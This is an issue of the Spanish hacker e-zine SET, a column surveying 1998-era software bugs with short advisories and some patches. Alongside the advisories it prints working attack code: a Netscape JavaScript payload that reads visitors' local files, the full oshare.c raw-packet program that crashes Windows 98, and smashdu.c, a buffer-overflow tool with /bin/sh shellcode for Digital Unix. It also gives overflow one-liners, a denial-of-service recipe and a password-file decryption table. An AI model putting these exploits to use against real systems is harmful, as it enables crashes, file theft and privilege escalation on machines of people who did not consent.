TOP
Autores
TOTAL
LecturasSET 18
112579 visitas
- Contenidos - SET Staff
- Editorial - Editor
- Noticias - Rufus T. Firefly
- En linea con... LeC - Hendrix
- Foro de Debate - Varios Autores
- Bazar de SET - Varios Autores
- KEY S PAGE WEB (bazar) - key
- My name is Dump, Core Dump (bazar) - New-Jack
- Como saltarse una K-line (bazar) - QUA$AR
- Trucos (bazar) - Hendrix
- UPC - GND
- Proyectos, peticiones, avisos - SET Staff
- Routers Cisco I - Hendrix
- Los bugs del mes - SET Staff
- Inteligencia artificial II - Falken
- La vuelta a SET en 0x1F mails - SET Staff
- Cracking bajo Linux II - SiuL+Hacky
- Edificios inteligentes - FCA0000
- Curso de Novell Netware VIII, IX y X - Madfran
- Criptoanalisis - Hendrix
- MHz voladores - Falken
- HackyWood - Falken
- Fuentes Extract - SET Staff
- Llaves PGP - SET Staff
Los bugs del mes
4665
Autor: SET Staff
-[ 0x09 ]--------------------------------------------------------------------
-[ LOS BUGS DEL MES ]--------------------------------------------------------
-[ by SET Staff ]-----------------------------------------------------SET-18-
-( 0x01 )-
Para : Samba 1.9.18 (RedHat, Caldera y TurboLinux)
Tema : Permisos y Spool
Patch : Aqui, mas abajo
Creditos : Andrew Tridgell
Descripcion y Notas:
En realidad se trata de dos vulnerabilidades detectadas en Noviembre de
1998 por el equipo de desarrollo de Samba.
La primera vulnerabildad versa sobre los permisos del programa wsmbconf,
que el RPM correspondiente instala con setgid para el grupo root, y siendo
ejecutable para todos los usuarios. (Ay!)
La segunda, pues que el archivo spec crea un area de spool en el directorio
/var/spool/samba, con permisos de escritura para todo el mundo, pero sin
activar el bit t (sticky). Este bit debe de permanecer activo en todos los
directorios de spool de Samba.
Se presupone que los unicos sistemas afectados son RedHat Linux, Caldera
OpenLinux y PHT TurboLinux, siempre que incluyan el RPM correspondiente a
esta version.
Una forma rapida de comprobar si la distribucion de Samba que tenemos
instalada es vulnerable es corroborar la existencia de /usr/sbin/wsmbconf,
pues se trata de un programa que no se deberia distribuir, por tratarse de
un prototipo.
Asi que el patch consta de dos partes. Para el primer caso bastara con:
rm -f /usr/sbin/wsmbconf
Para la segunda, pues con otra linea todo solucionado:
chmod +t /var/spool/samba
-( 0x02 )-
Para : NetBSD 1.3.2
Tema : Acceso a memoria
Patch : Lo dan los de Berkeley
Creditos : Chris G. Demetriou, Ted Lemon y Matthew Green
Descripcion y Notas:
Bueno, realmente no es un bug que aparezca por culpa de los chicos de BSD.
Al menos no directamente ;)
Se trata de un error al chequear un parametro en el mmap(2). El problema
surge cuando algun controlador de dispositivo que hace uso de mmap no
chequea que el parametro offset es un valor entero con signo. Al no
comprobar los valores negativos se producen diferentes modos de fallo.
Los chicos de BSD nos ponen un ejemplo con NetBSD/i386 y NetBSD/macppc. En
el primero, el controlador de la consola de texto autoriza el acceso a
tan solo los 640 primeros Kbytes de memoria, mientras que el segundo da
acceso a toda la memoria fisica.
Advierten ademas de la posibilidad de que el mismo fallo se produzca en
aquellos sistemas operativos que integran un control mmap derivado del
4.4BSD
El patch lo podeis localizar en:
ftp://ftp.netbsd.org/pub/NetBSD/misc/security/patches/19981120-d_mmap
-( 0x03 )-
Para : Netscape Communicator 4.5 para Windows 95 y NT 4.0
Tema : Acceso a ficheros
Patch : Nada, nada. Como el lynx no hay nada.
Creditos : Georgi Guninski
<++> set_018/exploits/acceso.js
sl=window.open("wysiwyg://1/file:///C|/");
sl2=sl.window.open();
sl2.location="javascript:s='<SCRIPT>b=\"Here is the beginning of your
file: \";var f = new java.io.File(\"C:\\\\\\\\test.txt\");var fis = new
java.io.FileInputStream(f); i=0; while ( ((a=fis.read()) != -1) &&
(i<100) ) { b += String.fromCharCode(a);i++;}alert(b);</'+'SCRIPT>'";
<-->
Descripcion y Notas:
Pues con este simple codigo JavaScript, y un poquito de ma~a, podemos
conseguir acceder a cualquier fichero del ordenador de quien se conecte
a nuestra pagina si lo hace mediante Netscape 4.5 con Windows 95 o
Netscape 4.05 con Windows NT 4.0
En esta ocasion no es preciso conocer la hubicacion del archivo, pues
podemos navegar por su disco duro como pedro por su casa.
El autor del codigo ha dispuesto una pagina para que podamos probar su
eficacia:
http://www.geocities.com/ResearchTriangle/1711/b6.html
La forma de evitar que nos deambulen por el equipo sin haberlo autorizado
es deshabilitar el Java y el JavaScript del navegador. Cosa recomendable
aunque no nos importe la seguridad... pero si la velocidad.
Ademas han surgido comentarios acerca de su posible funcionamiento bajo
Linux con los ficheros del usuario y aquellos que son legibles por todo el
mundo.
-( 0x04 )-
Para : FSP en Debian
Tema : Cuenta no deseada
Patch : Tener algo de cuidado y repasar las cuentas.
Creditos : Vanja Hrustic
Descripcion y Notas:
Al instalar el paquete del FSP, se genera una cuenta, de nombre 'ftp', sin
pedir autorizacion al administrador.
Generalmente con esto se habilita el acceso anonimo al servicio de FTP. Salvo
si usamos demonios como proftpd, que requieren habilitar el acceso
manualmente.
De todos modos el acceso anonimo no da grandes problemas... por si solo.
La solucion la podeis encontrar en eliminar la cuenta manualmente, o usar
alguno de los posibles parches que ofrezca Debian:
ftp://ftp.debian.org/pub/debian/dists/proposed-updates/
Mas informacion en:
http://www.debian.org/Lists-Archives/
debian-security-announce-9811/msg00004.html
-( 0x05 )-
Para : iParty
Tema : Shutdown
Patch : Un poco de betadine y unas gasas con esparadrapo ;)
Creditos : HD Moore
Descripcion y Notas:
De como colgar un programa de chat con una simple tonteria. O dicho de
otra forma, como es que el iParty es vulnerable a que cualquiera, sin
ninguna informacion adicional, pueda cerrar el servidor.
Simplemente basta con enviar una serie de 0xFF al servidor, al puerto
6004, que es el que usa, y ya esta.
Formas de hacerlo hay muchas... Y son muy simples.
En cuanto al parche, la gente de iParty no se ha pronunciado al respecto,
pero suponemos que las ultimas versiones corregiran este fallo (quizas sea
mucho suponer).
-( 0x06 )-
Para : Remote Tools w/Exceed v6.0 para Windows
Tema : Inseguridad, que si no.
Patch : La version 6.1
Creditos : Michael Sparks
Descripcion y Notas:
Con el programa Remote Tools para Windows (95 y NT), nos encontramos una
vulnerabilidad generada por un error a la hora de preparar la distribucion.
Al perecer, se colo una DLL de depuracion que realiza un log en un fichero
que se almacena en el directorio raiz con el nombre de test.log. En este
fichero se incluyen tanto el nombre de la cuenta como la clave que le
corresponde y la maquina asociada, eso si, en correcto texto en claro.
Una forma casera de parchearlo es regenerar el fichero a cero y ponerle
proteccion contra escritura. O mejor aun, actualizar a la ultima
version, en la que ya han corregido el problema.
-( 0x07 )-
Para : Windows 98
Tema : Crash / Restart
Patch : Alguno de los multiples parches de Microsoft, o Linux
Creditos : DEF CON ZERO
<++> set_018/exploits/oshare.c
/****************************************************************************/
/* [ oshare_1_gou ver 0.1 ] -- Dressing up No.1 -- */
/* */
/* */
/* This program transmits the "oshare" packet which starts a machine aga- */
/* in or crash. But, because it can't pass through the router, it can be */
/* carried out only in the same segment. */
/* "oshare packet" is (frag 39193:-4@65528+), If ihl and tot_len are cha- */
/* nged, it has already tested that it becomes possible to kill Mac, too. */
/* ----------------------------------------- */
/* Written by R00t Zer0 */
/* E-Mail : defcon0@ugtop.com */
/* Web URL : http://www.ugtop.com/defcon0/index.htm */
/****************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
u_short in_cksum( u_short *, int );
int send_oshare_packet( int, u_long );
u_short
in_cksum( u_short *addr, int len )
{
int nleft = len;
u_short *w = addr;
int sum = 0;
u_short answer = 0;
while( nleft > 1 )
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*( u_char *)( &answer ) = *( u_char *)w;
sum += answer;
}
sum = ( sum >> 16 ) + ( sum & 0xffff );
sum += ( sum >> 16 );
answer = ~sum;
return( answer );
}
int
send_oshare_packet( int sock_send, u_long dst_addr )
{
char *packet;
int send_status;
struct iphdr *ip;
struct sockaddr_in to;
packet = ( char *)malloc( 40 );
ip = ( struct iphdr *)( packet );
memset( packet, 0, 40 );
ip->version = 4;
ip->ihl = 11;
ip->tos = 0x00;
ip->tot_len = htons( 44 );
ip->id = htons( 1999 );
ip->frag_off = htons( 16383 );
ip->ttl = 0xff;
ip->protocol = IPPROTO_UDP;
ip->saddr = htonl( inet_addr( "1.1.1.1" ) );
ip->daddr = dst_addr;
ip->check = in_cksum( ( u_short *)ip, 44 );
to.sin_family = AF_INET;
to.sin_port = htons( 0x123 );
to.sin_addr.s_addr = dst_addr;
send_status = sendto( sock_send, packet, 40, 0,
( struct sockaddr *)&to, sizeof( struct sockaddr ) );
free( packet );
return( send_status );
}
int
main( int argc, char *argv[] )
{
char tmp_buffer[ 1024 ];
int loop, loop2;
int sock_send;
u_long src_addr, dst_addr;
u_short src_port, dst_port;
struct hostent *host;
struct sockaddr_in addr;
time_t t;
if( argc != 3 )
{
printf( "Usage : %s <dst addr> <num(k)>\n", argv[0] );
exit( -1 );
}
t = time( 0 );
srand( ( u_int )t );
memset( &addr, 0, sizeof( struct sockaddr_in ) );
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr( argv[1] );
if( addr.sin_addr.s_addr == -1 )
{
host = gethostbyname( argv[1] );
if( host == NULL )
{
printf( "Unknown host %s.\n", argv[1] );
exit( -1 );
}
addr.sin_family = host->h_addrtype;
memcpy( ( caddr_t )&addr.sin_addr, host->h_addr, host->h_length );
}
memcpy( &dst_addr, ( char *)&addr.sin_addr.s_addr, 4 );
if( ( sock_send = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1)
{
perror( "Getting raw send socket" );
exit( -1 );
}
printf( "\n\"Oshare Packet\" sending" );
fflush( stdout );
for( loop = 0; loop < atoi( argv[2] ); loop++ )
{
for( loop2 = 0; loop2 < 1000; loop2++ )
send_oshare_packet( sock_send, dst_addr );
fprintf( stderr, "." );
fflush( stdout );
}
printf( "\n\nDone.\n\n" );
fflush( stdout );
close( sock_send );
exit( 0 );
}
<-->
Descripcion y Notas:
El libro "Los Mil y un bugs de Windows 98" seria todo un record de ventas.
Estoy totalmente convencido de ello.
Los autores de este exploit, si bien no tienen total certeza del origen del
fallo, si han comprobado que no es posible usarlo a traves de la red, ante la
imposibilidad de enviar los paquetes erroneos.
Se trata simplemente que Windows 98 se culega o se reinicia, dependiendo de
como le de, cuando trata un paquete con la cabecera IP modificada.
Y claro, como las licencias de Microsoft no permiten echarle una ojeada al
codigo para comprobar porque se produce el error, pues a esperar a que saquen
un parche, o a cambiar a un sistema que si lo permita.
-( 0x08 )-
Para : Digital Unix 4.0
Tema : Coredump
Patch : Pues los patch kit de Digital
Creditos : Lamont Granquist
Descripcion y Notas:
El hasta ahora bien afamado Digital Unix empieza a ser susceptible de fallos
tontos.
El caso es que con sencillas instrucciones podemos generar coredumps de una
forma facil y segura. Que para que sirve esto? Pues leete la nueva seccion
'Bazar', y enterate de todo lo que puedes sacar de un core.
El primer programa susceptible de generar coredump que nos propone Lamont es
/usr/bin/at. Para ello bastara que tecleemos:
# /usr/bin/at `perl -e 'print "a" x 300'`
Con lo que obtendremos:
Segmentation fault (core dumped)
Podemos analaizar el core con el programa gdb, obteniendo algo de informacion
sobre el core. Basta ejecutar:
# gdb /usr/bin/at core
Entre otras cosas, encontraremos la cadena 0x6161616161616160, que sera
indicativo de que realmente el core se ha producido con nuestra
sentencia ('a' -> 0x61)
El comando at solo da este error cuando se trata de un sistema Digial Unix
4.0B sin parchear.
Tambien podriamos ejecutar:
# /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8400'` foo
Siendo en este caso /usr/bin/mh/inc el programa vulnerable. De nuevo nuestra
cadena de control es 0x6161616161616160, para el nuevo core que se ha
generado.
Este ultimo caso funciona en un Digital Unix 4.0D sin parchear.
La explicacion es muy sencilla. Basicamente, los dise~adores del Digital
Unix han metido la pezu~a hasta el fondo al activar los bits de ejecucion de
la pila. Asi que siguiendo algunos casos de desbordamiento en otros sistemas,
Digital Unix se vuelve 'explotable'.
Asi que segun parece, antiguos exploits de otros sistemas que se basasen en
los desbordamientos de pila pueden funcionar ahora en un sistema
tradicionalmente seguro. Y es que desde que los compro Compaq, los Digital
Unix han decaido mucho.
Segun se cuenta, el hecho de activar estos bits, cuando hasta ahora no
habian sido necesarios y habia funcionado como un sistema bastante fiable,
se debe fundamentalmente a la necesidad por parte de algunos compiladores de
Java de que asi sea.
Los parches se pueden encontrar en:
ftp://ftp.service.digital.com/public/dunix/
Bajo los tan atractivos nombres de DUV40DAS00002 (Digital Unix 4.0D Patch 2)
Nuestro amigo Lamont nos proporciona ademas el siguiente codigo que permite
generar desbordamientos, y quizas, aprovecharse de ellos ;)
<++> set_018/exploits/smashdu.c
/* smashdu.c
generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
Lamont Granquist
lamontg@hitl.washington.edu
lamontg@u.washington.edu
Tue Dec 1 11:22:03 PST 1998
gcc -o smashdu smashdu.c */
#define MAXENV 30
#define MAXARG 30
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <stdio.h>
/* shellcode = 80 bytes. as the entry to this shellcode is at offset+72 bytes
it cannot be simply padded with nops prior to the shellcode. */
int rawcode[] = {
0x2230fec4, /* subq $16,0x13c,$17 */
0x47ff0412, /* clr $18 */
0x42509532, /* subq $18, 0x84 */
0x239fffff, /* xor $18, 0xffffffff, $18 */
0x4b84169c,
0x465c0812,
0xb2510134, /* stl $18, 0x134($17) */
0x265cff98, /* lda $18, 0xff978cd0 */
0x22528cd1,
0x465c0812, /* xor $18, 0xffffffff, $18 */
0xb2510140, /* stl $18, 0x140($17) */
0xb6110148, /* stq $16,0x148($17) */
0xb7f10150, /* stq $31,0x150($17) */
0x22310148, /* addq $17,0x148,$17 */
0x225f013a, /* ldil $18,0x13a */
0x425ff520, /* subq $18,0xff,$0 */
0x47ff0412, /* clr $18 */
0xffffffff, /* call_pal 0x83 */
0xd21fffed, /* bsr $16,$l1 ENTRY */
0x6e69622f, /* .ascii "/bin" */
/* .ascii "/sh\0" is generated */
};
int nop = 0x47ff041f;
int shellcodesize = 0;
int padding = 0;
int overflowsize = 0;
long retaddr = 0x11fffff24;
void usage(void) {
fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
fprintf(stderr, " -e: add a variable to the environment\n");
fprintf(stderr, " -r: change ra from default 0x11fffff24\n");
fprintf(stderr, " shellsize: size of shellcode on the heap\n");
fprintf(stderr, " pad: padding to alighn the shellcode correctly\n");
fprintf(stderr, " bufsize: size of the buffer overflow on the stack\n");
fprintf(stderr, " cmdargs: %%e will be replaced by buffer overflow\n");
fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
fprintf(stderr, "/foo/bar %%e\n");
exit(-1);
}
/* this handles generation of shellcode of the appropriate size and with
appropriate padding bytes for alignment. the padding argument should
typically only be 0,1,2,3 and the routine is "nice" in that if you feed
it the size of your malloc()'d buffer it should prevent overrunning it
by automatically adjusting the shellcode size downwards. */
int genshellcode(char *shellcode, int size, int padding) {
int i, s, n;
char *rp;
char *sp;
char *np;
rp = (char *)rawcode;
sp = (char *)shellcode;
np = (char *)&nop;
s = size;
if (size < (80 + padding)) {
fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
fprintf(stderr, "with %d padding\n", size, padding);
exit(-1);
}
/* first we pad */
for(i=0;i<padding;i++) {
*sp = 0x6e;
sp++;
s--;
}
/* then we copy over the first 72 bytes of the shellcode */
for(i=0;i<72;i++) {
*sp = rp[i];
sp++;
s--;
}
if (s % 4 != 0) {
n = s % 4;
s -= n;
printf("shellcode truncated to %d bytes\n", size - n);
}
/* then we add the nops */
for(i=0; s > 8; s--, i++) {
*sp = np[i % 4];
sp++;
}
n = i / 4; /* n == number of nops */
/* then we add the tail 2 instructions */
for(i=0; i < 8; i++) {
*sp = rp[i+72];
if(i==0) /* here we handle modifying the branch instruction */
*sp -= n;
*sp++;
}
}
int main(argc, argv)
int argc;
char *argv[];
{
char *badargs[MAXARG];
char *badenv[MAXENV];
long i, *ip, p;
char *cp, *ocp;
int c, env_idx, overflow_idx;
env_idx = 0;
while ((c = getopt(argc, argv, "e:r:")) != EOF) {
switch (c) {
case 'e': /* add an env variable */
badenv[env_idx++] = optarg;
if (env_idx >= MAXENV - 2) {
fprintf(stderr, "too many envs, ");
fprintf(stderr, "try increasing MAXENV and recompiling\n");
exit(-1);
}
break;
case 'r': /* change default ra */
sscanf(optarg, "%x", &retaddr);
break;
default:
usage();
/* NOTREACHED */
}
}
if (argc - optind < 4) {
usage();
}
shellcodesize = atoi(argv[optind++]);
padding = atoi(argv[optind++]);
overflowsize = atoi(argv[optind++]);
printf("using %d %d %d\n", shellcodesize, padding, overflowsize);
/* copy the args over from argv[] into badargs[] */
for(i=0;i<29;i++) {
if (strncmp(argv[optind], "%e", 3) == 0) { /* %e gets the shellcode */
badargs[i] = malloc(overflowsize);
overflow_idx = i;
optind++;
} else {
badargs[i] = argv[optind++];
}
if (optind >= argc) {
i++;
break;
}
}
badargs[i] = NULL;
if (optind < argc) {
fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n");
exit(-1);
}
printf("putting overflow code into argv[%d]\n", overflow_idx);
cp = badargs[overflow_idx];
for(i=0;i<overflowsize-8;i++) {
*cp = 0x61;
cp++;
}
ocp = (char *) &retaddr;
for(i=0;i<8;i++) {
cp[i] = ocp[i];
}
/* here is where we actually shovel the shellcode into the environment */
badenv[env_idx] = malloc(1024);
genshellcode(badenv[env_idx++],shellcodesize,padding);
badenv[env_idx] = NULL;
/* and now we call our program with the hostile args */
execve(badargs[0], badargs, badenv);
}
<-->
-( 0x09 )-
Para : Windows
Tema : Inseguridad del ClipBoard
Patch : Haberse dejado de chupar el dedo
Creditos : David Reed
Descripcion y Notas:
Recientemente se ha enviado a las listas de seguridad un mensaje sobre un
tema, que si bien cualquiera con dos dedos de frente no seria vulnerable,
hemos comprobado como muchas personas que administran sistemas (es por no
llamarles administradores, da grima), comenten este error una y otra vez.
Se trata ademas de un fallo en la programacion de nuestro sistema operativo
favorito (a la hora de criticarlo, claro).
Basicamente, David nos cuenta como un error a la hora de definir la interfaz
para la introduccion de la clave en Windows {95,98,NT} da problemas.
Resulta que los programadores de Microsoft han usado dos objetos OLE para
las cajas donde se introducen el nombre de usuario y su clave de acceso.
Se trata de dos objetos con la propiedad de poder ejecutar las combinaciones
de teclas Ctrl-X, Ctrl-C y Ctrl-V.
Ya, no es un problema grave, salvo cuando el usuario anterior, o el que ha
bloqueado la maquina necesita una lobotomia urgente y ha dejado datos
importantes en el clipboard... En ocasiones incluso la clave. (Muy habitual
en centros de calculo donde se asignan claves aleatorias complicadas y
los novatos prefieren 'cortar y pegar').
Como veis no se trata de nada del otro mundo, pero mas de uno seguro que
esta empezando a pensar que es tonto del culo (aunque no lo reconocera
publicamente, os lo aseguro).
-( 0x0A )-
Para : SSH 1.x & 2.x daemons
Tema : Seguridad
Patch : Uhmmmm! Sigue leyendo.
Creditos : Raymond T Sundland
Descripcion y Notas:
Se trata de un bug simple, pero que compromete parte de la seguridad de un
sistema que este funcionando con SSH.
Se trata de un fallo en la autenticacion cuando se supone que la cuenta de
usuario ha expirado.
Con cualquier otro metodo de conexion, como ftp o telnet, se produce un
aviso de que la cuenta ha expirado y se cierra la conexion.
Pero si la sesion se establece mediante SSH, se consigue el acceso.
Y ahora, el patch realizado por los creadores del SSH:
<++> set_018/patches/ssh.patch
diff -ruN ssh-1.2.26.orig/config.h.in ssh-1.2.26/config.h.in
--- ssh-1.2.26.orig/config.h.in Tue Nov 3 09:11:16 1998
+++ ssh-1.2.26/config.h.in Tue Nov 3 09:08:43 1998
@@ -123,6 +123,9 @@
/* Define this to be the path of the rsh program to support executing rsh. */
#undef RSH_PATH
+/* Define this to be the path to the passwd program */
+#undef PASSWD_PATH
+
/* Define this to be the path of the xauth program. */
#undef XAUTH_PATH
diff -ruN ssh-1.2.26.orig/configure.in ssh-1.2.26/configure.in
--- ssh-1.2.26.orig/configure.in Tue Nov 3 09:11:16 1998
+++ ssh-1.2.26/configure.in Tue Nov 3 09:08:43 1998
@@ -200,7 +200,6 @@
if test $ac_cv_func_getspnam = yes; then
AC_DEFINE(HAVE_ETC_SHADOW)
fi
- no_shadows_password_checking=yes
AC_CHECK_FUNCS(pw_encrypt, pwencrypt=yes)
if test $ac_cv_func_pw_encrypt = no; then
AC_CHECK_LIB(shadow, pw_encrypt, [
@@ -459,6 +458,11 @@
AC_DEFINE_UNQUOTED(PASSWD_PATH, "$PASSWD_PATH")
fi
+AC_PATH_PROG(PASSWD_PATH, passwd)
+if test -n "$PASSWD_PATH"; then
+ AC_DEFINE_UNQUOTED(PASSWD_PATH, "$PASSWD_PATH")
+fi
+
AC_PATH_PROG(XAUTH_PATH, xauth)
if test -n "$XAUTH_PATH"; then
AC_DEFINE_UNQUOTED(XAUTH_PATH, "$XAUTH_PATH")
@@ -532,6 +536,7 @@
else
AC_MSG_RESULT(no)
fi
+
if test -z "$no_shadows_password_checking"; then
AC_MSG_CHECKING(for shadow passwords)
<-->
-( 0x0B )-
Para : BayNetworks routers serie 1000
Tema : Cuelgue total
Patch : Reseteo de la maquina
Creditos : Virsoft
Descripcion y Notas:
Pues nada. Que los routers de BayNetworks se cuelgan tan facilmente como
enviandoles una secuencia de login de mas de 256 bytes, y usando la misma
secuencia como clave.
Parecen dos problemas diferentes, pues si simplemente se hace con el login,
la maquina se resetea. Pero al usar la misma secuencia en la clave, entonces
se queda bloqueada, siendo el rearranque la unica solucion viable.
-( 0x0C )-
Para : IIS 4
Tema : Ejemplos perniciosos
Patch : Borrar los ejemplos
Creditos : David Litchfield
Descripcion y Notas:
En esta ocasion es otra gracia de los chicos de Microsoft.
Con su flamante IIS 4 han incluido unos ejemplos muy atractivos, que pueden
ser referenciados directamente.
Hasta aqui no pasa nada. Pero resulta que estos ejemplos corresponden a
Active Server Pages (asp), que llamadas directamente, sin que las dll
correspondientes esten cargadas en memoria, practicamente bloquean al
servidor.
Se trata de:
Exair - root/search/advsearch.asp
Exair - root/search/query.asp
Exair - root/search/search.asp
Asi que ya las estais borrando. A no ser que no os importe que se sature
vuestro servidor.
Conste que siempre deberian borrarse los ejemplos. Pero ya se sabe, si se usa
Microsoft es fundamentalmente por su facilidad de manejo... ergo la mayoria de
los sitios que usan este sistema ni se han molestado en ver los ejemplos. O
los han dejado expresamente como referencia.
-( 0x0D )-
Para : PADLock IT 1.01
Tema : Inseguridad en las claves
Patch : No fiarse de este tipo de productos
Creditos : Efrain `ET` Torres
Descripcion y Notas:
PADLock-IT es una aplicacion para Windows que permite mantener una lista de
todas nuestras claves. Supuestamente estas claves se almacenan encriptadas,
segun los autores del programa, por un metodo de criptografia asimetrica.
Pero la realidad es bien distinta. El metodo usado para cifrar las claves
no es fiable, ni mucho menos el que se usa para la clave maestra, que permite
decodificar el resto (asimetrica?!?!?!).
Para empezar, se usa el mismo valor como semilla para encriptar cada uno
de los campos del fichero. Y resulta ser la misma para la clave maestra.
Para continuar, el tama~o de la clave maestra esta limitado a 5 caracteres.
Y para finalizar, ya hay gente que se ha puesto a criptoanalizar las
secuencias generadas por el programa, y se tienen tablas que permiten
por el momento desencriptar el primer caracter de cada campo. si a esto le
a~adimos la anterior vulnerabilidad, tenemos que la clave maestra se queda
en 4 caracteres... que son 10.000 posibilidades por fuerza bruta.
Que no se nos olvide, que el fichero con las claves se almacena bajo el
nombre padlock-it.dat, y la tabla del primer caracter es:
a 5d
b 5f
c 5e
d 59
e 58
f 5a
g 5b
h 51
i 50
j 52
k 53
l 57
m 56
n 55
o 54
p 48
q 49
r 4a
s 4b
t 4d
u 4c
v 4f
w 4e
x 46
y 47
z 44
-( 0x0E )-
Para : Linux 2.2
Tema : Crash, boom... reboot ;)
Patch : Todo se andara
Creditos : Dan Burcaw
Descripcion y Notas:
Bien, ante todo que no cunda el panico... Se trata de un error hasta ahora
solo detectado en:
AMD K6-2 350
AMD K6-2 400
Intel 486 SX25 w/ P90 Overdrive
Lo que no quiere decir ni que estos equipos sean vulnerables 100% ni que los
demas sean seguros 100%
Simplemente con ejecutar (siendo root o no, da igual):
$ ldd core
con algun core que tengamos por ahi perdido (mas abajo sobre como generar
un core porque si), la maquina realizara un rearranque.
El propio autor afirma que los PPC no estan afectados, asi como los
procesadores que no sean x86.
-( 0x0F )-
Para : Perl 5.0004_4
Tema : SUID
Patch : Y eso, que es?
Creditos : Varios, entre otros Brian McCauley
Descripcion y Notas:
El script en PERL que realiza la emulacion de un suid que acompa~a a algunas
distribuciones no comprueba que el sistema en el que se encuentre se haya
montado con la opcion nosuid.
Esto permite realizar un script PERL con suid, y ocultarlo en un CD o en un
disquete, permitiendo la obtencion de acceso privilegiado. Solo tenemos
que montar la unidad, aunque este activada la opcion nosuid, pues a PERL
eso parece que no le importa.
Parece que se va a poner de moda de nuevo el PERL ;)
-( 0x10 )-
Para : Linux
Tema : Core Dumped
Patch : No ejecutarlo
Creditos : Paseante
[paseante@ ]$ dig -t
Segmentation fault, core dumped
Descripcion y Notas:
Cualquier usuario puede provocar el volcado del core ejecutando este comando
en el shell, el archivo resultante puede contener datos que comprometan la
seguridad del sistema. Para mas info el articulo que en este mismo numero se
publica sobre este tema.
Una solucion, propuesta por el mismo Paseante, y que sigue las directrices
establecidas por los grandes gurus del Unix desde hace tiempo, es tan
simple como establecer un limite de 0 para los cores:
[paseante@ ]$ ulimit -c 0
En los sistemas en los que no os penseis dedicar al desarrollo, es una
limitacion que deberiais poner siempre. Os evitaria sustos y ahorrariais
espacio (Joers, que he visto cores de mas de 10 megas). Al menos es una
limitacion que deberian tener los usuarios del sistema.